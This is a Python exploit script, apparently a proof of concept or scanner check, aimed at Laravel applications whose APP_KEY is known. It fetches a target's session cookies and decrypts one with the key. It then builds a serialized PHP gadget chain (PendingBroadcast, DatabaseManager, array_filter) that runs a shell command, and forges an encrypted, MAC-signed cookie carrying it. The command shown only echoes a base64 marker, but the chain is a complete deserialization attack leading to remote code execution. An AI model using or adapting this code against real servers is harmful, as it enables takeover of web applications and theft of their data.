import base64
import json
import hashlib
import hmac
import os
import urllib.parse, requests
from Crypto.Cipher import AES
import requests,re
request1=requests.get(os.getenv('RootURL')+'/login')
cookies=request1.headers['Set-Cookie']
laravel_session_match = re.search(r"laravel_session=(.*?);", cookies)
laravel_session_value = laravel_session_match.groups()[0]
random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies)
random_cookie_name, random_cookie_value = random_cookie_match.groups()
valid_app_key=os.getenv('APP_KEY')
def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode):
    decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8')
    parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000')
    session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}"
    return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode)


def retrieve_key(key):
    if key.startswith("base64:"):
        return base64.b64decode(key.split(":")[1])
    elif len(key) == 44:
        return base64.b64decode(key)
    else:
        return key.encode('utf-8')


def laravel_encrypt(value_to_encrypt, key, cipher_mode):
    key = retrieve_key(key)
    iv = os.urandom(16)  # Generate a random 16-byte IV
    encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode)
    tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip()

    # Base64-encode the IV
    b64_iv = base64.b64encode(iv).decode().strip()

    # Prepare data for output
    data = {
        "iv": b64_iv,
        "value": tmp_bytes,
        "mac": generate_mac(key, b64_iv, tmp_bytes),
        "tag": ""  # Assuming empty tag
    }

    # Return the final encrypted value as Base64-encoded JSON
    return base64.b64encode(json.dumps(data).encode()).decode()


def aes_encrypt(value, iv, key, cipher_mode):
    cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
    pad_length = 16 - (len(value) % 16)
    padded_value = value + bytes([pad_length] * pad_length)
    return cipher.encrypt(padded_value)


def generate_mac(key, iv, value):
    return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest()

def generate_laravel_payload(pl, pl_len):
    laravel_payload = (
        f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";'
        f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";'
        f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";'
        f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}'
        f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}'
    )

    # Base64 encode the payload
    b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode()

    return b64_laravel_payload


def laravel_decrypt(laravel_cipher, key, cipher_mode):
    data = parse_laravel_cipher(laravel_cipher)
    key = retrieve_key(key)

    try:
        return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
    except Exception:
        print("Your key is probably malformed or incorrect.")  # Equivalent to vprint_error
        return None


def parse_laravel_cipher(laravel_cipher):
    laravel_cipher = urllib.parse.unquote(laravel_cipher)  # Decoding URL-encoded string

    try:
        data = json.loads(base64.b64decode(laravel_cipher).decode())
    except json.JSONDecodeError:
        print("The JSON inside your base64 is malformed.")  # Equivalent to vprint_error
        return None
    except Exception:
        print("Your base64 laravel_cipher value is malformed.")  # Equivalent to vprint_error
        return None

    try:
        data['value'] = base64.b64decode(data['value'])
        data['iv'] = base64.b64decode(data['iv'])
    except Exception:
        print("Error decoding base64 values in the cipher data.")
        return None

    return data


def aes_decrypt(encrypted_value, iv, key, cipher_mode):
    cipher = AES.new(key, AES.MODE_CBC, iv)  # Assuming CBC mode
    decrypted = cipher.decrypt(encrypted_value)

    # Remove PKCS7 padding
    pad_length = decrypted[-1]
    return decrypted[:-pad_length].decode('utf-8', errors='ignore')
unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC'))


# Example values (Replace these with real values)
pl = "echo " + os.getenv('marker_b64') + " | base64 -d"
pl_len = len(pl)
cipher_mode = "CBC"  # Assuming CBC mode

# Generate the Base64 encoded Laravel payload
b64_laravel_payload=generate_laravel_payload(pl, pl_len)
# Extract the hash value from unciphered_value
hash_value = unciphered_value.split('|')[0]

# Encrypt the Laravel cookie
laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)

print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D'))
